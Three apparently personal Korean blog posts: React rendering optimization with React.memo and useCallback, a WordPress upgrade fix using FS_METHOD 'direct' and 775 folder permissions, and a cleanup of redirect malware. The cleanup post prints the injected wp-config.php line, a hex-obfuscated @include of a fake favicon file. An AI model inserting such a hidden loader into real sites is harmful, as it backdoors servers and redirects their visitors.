Optimization React rendering

랜더링 최적화는 어떻게 하나?

1차적으로 불필요한 랜더링을 먼저 막습니다. 불필요한 랜더링이란 화면에 반영되는 데이터가 동일하거나 다른 화면에 가려져 랜더링이 아예 필요 없는 경우를 말합니다.

Props로 넘겨지는 데이터가 동일 할때 React.memo 를 사용하는 방법은 두 가지가 있습니다.

1. 기본 탑재된 비교 알고리즘을 쓰는 경우

React.memo(컴포넌트)

기본 알고리즘을 쓰는 경우는 Props로 넘어오는 값들이 이뮤터블임을 전제로 합니다. 뮤터뷸 객체가 넘어오면 당연히 이 전략은 통하지 않습니다. 여기서 신경써야하는 것들이 바로 핸들러나 콜백 함수들인데, JS에서 함수는 뮤터뷸한 객체라서 useCallback 으로 일일이 감싸서 캐시(메모이제이)하지 않으면 효과가 없습니다.

그렇다고 항상 useCallback 쓸 필요도 없습니다. 캐시 비용도 비용이지만 매번 콜백 함수를 감싸는 귀차니즘도 만만치 않기 때문에 그 비용이 오히려 비효율일 경우가 많습니다. 이럴때는 비교 로직을 커스텀 하는게 더 효과적 입니다.

2. 비교 알고리즘을 커스텀 하는 경우

React.memo(컴포넌트, 비교로직함수)

비교로직을 커스텀 할경우엔 콜백함수를 useCallback 으로 넘기든 넘기지 않든 랜더링에 필요한 요소들만 선택적으로 찾아서 랜더링을 결정합니다. 따라서 메모된 값을 쓰고 싶을 경우엔 true, 새로 랜더링을 할 경우엔 false를 비교 함수에서 반환합니다.

최적화 우선순위

모든 컴포넌트를 다 useCallback 으로 감싸거나 React.memo로 감쌀 필요는 없습니다. 병목 지점을 먼저 찾고 필요한 곳 위주로 처리하면 됩니다.

예를들어 아래와 같은 구조에서 최상위 Root 컴포넌트가 랜더링되면 나머지 A~F 컴포넌트가 줄줄이 랜더링 됩니다. 이때 A가 한번 랜더링 되면 F 같은 리스트 아이템들은 수없이 많이 랜더링 됩니다.

  ---Root
      |--- A
           |-- B ( List )
               |-- F
               |-- ... N 개의 F 
               |-- F
           |-- C
      |-- D

즉, 위와 같은 구조에서 F 컴포넌트가 제일 먼저 최적화 대상이 됩니다.

극단적인 랜더링 최적화 (한번만 그리기)

가끔은 컴포넌트를 딱 한번만 그리는 경우도 있습니다. 예를 들면 고정형 네비게이션바 같은 경우엔 Props를 주입받지만 화면을 그리는 요소에 영향을 주지 않기 때문에 이런경우엔 극단적인 선택을 할수있습니다.

export default memo(NavigationBar, () => true);

클로저 변수와 함께 콜백 함수 메모하기

   1번
   const 핸들러함수 = useCallback(()=>{
         const currentItem = items[currentIndex];
      //  currentItem 처리
   },[currentIndex])

    2번 
    const 핸들러함수 = (currentItem) => {
         // currentItem 처리....
    }   

    <List>
        {for item in items 
            return <ListItem item={item} onPress={핸들러함수}>
         }
     <List>

1번처럼 useCallback 함수를 사용해 클로저 변수를 함께 패키징 할 경우 핸들러 함수는 currentIndex 값에 따라 매번 다른 함수가 만들어집니다.

그리고 이것을 <ListItem> 컴포넌트의 프로퍼티로 넘기기 때문에 <ListItem> 컴포넌트의 메모 전략은 매우 단순하게 가져갈 수 있습니다.

export default memo(ListItem);

물론 currentIndex 갯수 만큼 메모하는건 그만큼 약점입니다.

반대로 useCallback 을 쓰지 않을 경우에는 당연히 ListItem의 최적화 전략이 달라져야합니다.

export default memo(ListItem, (prev: Props, next: Props) => {
  return prev.language === next.language;
});

그리고 2번처럼 핸들러 함수에 넘겨받은 값을 그대로 같이 반환해야합니다.

function ListItem(props){
  const { item } = props;

  return( 
     <TouchableOpacity onPress={() => onPress(item)}>
       // 블라블라...
     </TouchableOpacity>
  )
}

주의! 최적화 전략은 케바케라서 상황에 따라 적절히 취사 선택하려면 잘 알아야한다. 암튼 간만에 회사 일 하다가 긴 PR을 올려서 그대로 블로그에 옮겨 왔음.

워드프레스 업그레이드 관련 정리

해커들의 채굴 공격에 한바탕 홍역을 치른 뒤에 워드프레스 관리에 좀더 신경을 쓰고 있다. 그동안 내가 고생했던 이야기는 아래 링크를 참고하자.

아무튼 이런 저런 일들을 겪으면서 발생한 문제를 해결하다보니 이번에는 그동안 잘 되던 자동 업그레이드가 안되는 문제가 생겼다.

그동안 몰랐던 자동 업그레이드의 실체

자동 업그레이드는 2가지 기능을 한다. 중요한 패치버전을 자동으로 설치하는 기능과 사이트에서 손쉽게 원하는 플러그인과 테마를 클릭 한방에 설치해주는 기능이다. 특히 두번째 기능은 수동으로 파일을 업로드하는 수고로움과 귀차니즘을 줄여준다. 그리고 이 자동 업그레이드는 아마도 워드프레스 3.2 부터인가 자동으로 적용됐다. 지금은 4.9.5 버전이니까 한참 옛날일이다.

아무튼 내가 10년전 수동으로 모든 플러그인과 설치버전을 관리하다가 3.2 버전으로 넘어오면서 이런 편리함에 다른 블로그 툴로 못 넘어가고 워드프레스에 정착을 했던것 같다. 아무튼 그동안 잘 되던 원클릭 업그레이드가 이제 더이상 안되는 문제가 생겼다! 뚜둥!!

갑자기 FTP 권한이 틀렸다고 다시 입력 하랜다. 내가 ftp 데몬을 내렸나 싶어서 vsftp 데몬을 설치하고 잘되는것도 확인했는데, 여전히 같은 문제가 반복됐다. 원인을 도저히 못 찾다가 우연히 FTP를 우회하는 방법을 찾았다.

그냥 wp-config.php에 다음 한줄을 추가하면 FTP 설정 없이도 업그레이드가 된다.

define('FS_METHOD', 'direct');

즉, 이 말은 PHP가 직접 파일을 읽어다가 내 서버에 쓴다는 얘긴데, php가 파일이나 폴더를 생성 하려면 권한이 필요하다. php 는 당연히 nginx 위에서 동작하기 때문에 nginx 그룹 권한에 쓰기 권한도 넣어줘야한다.

아마 갑자기 원클릭 업그레이드가 안된 이유도 사실은 폴더권한을 775에서 755로 대폭 축소해서 나타난 문제였을 것이다.

업그레이드와 관련된 폴더

워드프레스 버전을 업그레이드 하려면 아래 폴더에 권한을 일단 775 이상으로 올려줘야한다.

  • wp-admin
  • wp-includes

그리고 플러그인이나 테마를 업그레이드 하려면 wp-content 폴더의 권한도 올려줘야한다. 업그레이드가 끝나면 올려줬던 폴더의 권한은 다시 낮추는걸 추천한다.

페이스북을 타고 들어오면 리다이렉션 되던 문제

해커와의 전쟁

몇일째 채굴 공격을 막느라 정신이 없었다. 이번을 개기로 서버보안에 좀더 신경을 쓰게 된 개기가 된것 같다. 아무튼 내 블로그 곳곳엔 여전히 헛점이 있다. 11년전 서버에 대한 지식이 전무한 상태에서 워드프레스를 설치한게 화근이지싶다. 그땐 이거저거 해보겠다고 퍼미션도 777인 곳이 많았고 766도 많았다.

발단의 원인

일단 퍼미션이 엉망이었다는 것이 재앙인데 퍼미션이 엉망이기 때문에 해커들이 맘대로 내 서버에 파일도 올리고 실행도 시키고,..미안하다..ㅜㅜ
아무튼 해커와의 전쟁을 선포하고 워드프레스 폴더 곳곳을 find 명령으로 뒤져가며 php 파일명이 이상한 형태가 있는지 전부 찾아서 지웠다.

어떤 이상한 파일들이 있었는지는 지난 글을 참고하자.

여전히 풀리지 않는 리다이렉션 문제

이제 남은 건 페이스북에 링크된 글이 이상한 사이트로 넘어가는 문제만 남았다. 나도 몇번 겪어봤고 이상하다 싶었는데 그사이 신고도 3건이나 접수됐다. 그래서 제대로 잡아보자 싶어서 한번만 더 걸려라! 하는 심정으로 기다렸다. 그리고 드디어 잡았다!! 올타커니!!!

먼저 문제가 발생한 시간의 액세스 로그를 뒤졌다.

[27/Dec/2017:14:51:09 +0000] 200 211.243.39.14 http://m.facebook.com GET 
/archives/2017/12/nginx-%EC%99%80-php-fpm-%EC%B7%A8%EC%95%BD%EC%A0%90%EC%9D%84-%EB%85%B8%EB%A6%B0-%EC%B1%84%EA%B5%B4-%EA%B3%B5%EA%B2%A9/ 
HTTP/1.1 407 Mozilla/5.0 (iPad; CPU OS 11_2 like Mac OS X) AppleWebKit/604.4.7 (KHTML, like Gecko) 
Mobile/15C114 [FBAN/FBIOS;FBAV/153.0.0.53.87;FBBV/84268146;FBDV/iPad4,4;FBMD/iPad;FBSN/iOS;FBSV/11.2;FBSS/2;FBCR/;FBID/tablet;FBLC/ko_KR;FBOP/5;FBRV/0]

로그에 찍힌 이상한 에이전트는 검색을 통해 페이스북 앱임을 확인했고, 액세스 로그에 레퍼러(referer)가 제대로 찍힌걸 봐서는 링크는 제대로 타고 들어왔다. 고로 페이스북 문제는 아니다. 이제 문제는 내 서버에 설치된 워드프레스다. 분명 워드프레스가 리다이렉션 시키는 것 같다. 어떻게 그게 가능한지는 모르겠지만,.. 파일 업로드도 지맘대로 하는 판에 기존 파일을 수정하지 말라는 법도 없지 않나?

리다이렉션 말웨어(스파이웨어)

검색을 좀 해봤다.

https://fixmywp.com/blog/detect-clean-wordpress-malware-redirect.php

그랬더니 역시 있다! 나와 비슷한 증상을 겪는 문제가 워드프레스에서 심상치않게 발견되고 있나보다.

If a file is added, it’s often named to look like a legitimate file like that’s the part of WordPress core files. The file could be named sunrise.php, wp-users.php, wp-system or wp-configuration.php or something similar.

위에 나열된 파일은 다행이 없었다. 그리고 이제 남은건 아래 파일들… 모두 찾아봤다.

Typically hackers add the malicious scripts to .htaccess, wp-includes, wp-content/themes, wp-content/plugins or wp-content/uploads folders, or may also change your wp-config.php file.

그런데 뚜둥~!! wp-config.php 파일이 변조되어 있다!! 대박!! 이게 정말 가능한거구나… 놀랍다.

<?php
/*1008f*/

@include "\x2fva\x72/w\x77w/\x6egi\x6ex_\x72oo\x74/w\x70/w\x70-c\x6fnt\x65nt\x2fca\x63he\x2ffa\x76ic\x6fn_\x63ec\x652c\x2eic\x6f";

/*1008f*/^M

일단 변조된 부분을 지우고 다시 페북으로 링크를 걸어봐야겠다. 과연….

테스트 결과 성공적!

일단 몇번을 테스트해봤지만 문제는 없는것 같다. 그리고 검색에서 찾은 사이트에서 소개한 스파이웨어 스캔 사이트(https://quttera.com/)로 돌려봤더니… 7개 파일에서 의심스러운 코드가 발견됐다는 보고서를 받았는데, 다행히 내가 먼저 발견해서 지웠다!! wp-config.php 파일에 붙어서 여러 링크에 들어간것 같다.
아무튼 다행이야!! 이런게 하나 또 배운다!!